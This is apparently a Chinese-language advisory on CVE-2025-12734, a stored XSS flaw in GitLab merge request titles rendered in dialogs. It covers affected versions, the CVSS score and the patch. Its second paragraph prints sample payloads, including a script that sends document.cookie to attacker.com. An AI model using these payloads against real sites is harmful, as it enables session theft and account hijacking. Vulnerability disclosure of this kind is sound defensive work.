CVE-2025-12734CVE-2025-12734是GitLab社区版和企业版(CE/EE)中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞影响从15.6版本开始的所有版本,直至18.4.6、18.5.4和18.6.2之前的版本。漏洞的根本原因在于GitLab对用户提交的Merge Request标题内容缺乏充分的HTML转义和输入验证。攻击者作为经过身份认证的低权限用户,可以在创建或编辑Merge Request时,通过在标题字段中注入恶意的HTML或JavaScript代码。当其他用户查看包含恶意内容的Merge Request时,特别是当这些请求在对话框(dialogs)中展示时,注入的脚本代码会在受害者浏览器中执行。攻击者可利用此漏洞窃取受害者的会话Cookie、劫持用户账户、执行任意操作或进行钓鱼攻击。由于该漏洞需要用户交互(受害者需要查看特定的Merge Request对话框),且CVSS评分仅为3.5,因此被评定为低危漏洞。但即便如此,在实际攻击场景中,攻击者仍可通过社会工程学手段诱导目标用户查看恶意内容,从而实现对用户账户的进一步渗透和控制。GitLab官方已于2025年12月10日发布补丁版本18.6.2修复此问题。
该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击向量为网络(AV:N),需要低权限认证(PR:L)即可实施攻击。攻击者利用GitLab在处理Merge Request标题时的输入验证缺陷,通过在标题字段中注入包含HTML标签和JavaScript脚本的内容。由于服务端未对用户输入进行充分的HTML实体编码,当包含恶意脚本的内容在对话框组件中渲染时,浏览器会将其解析为可执行代码。具体来说,攻击者可以构造如下Payload:<img src=x onerror=alert(document.cookie)> 或 <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>。当受害用户打开包含此标题的Merge Request详情页或相关对话框时,恶意脚本会在其浏览器上下文中执行。由于GitLab的会话管理使用Cookie,攻击者可以窃取会话令牌从而劫持用户会话。值得注意的是,GitLab的某些组件(如对话框)可能对HTML内容有特殊处理逻辑,这为攻击者提供了绕过常规XSS防护的机会。漏洞的利用条件相对宽松,只需攻击者具有创建Merge Request的权限即可,无需特殊的管理员权限。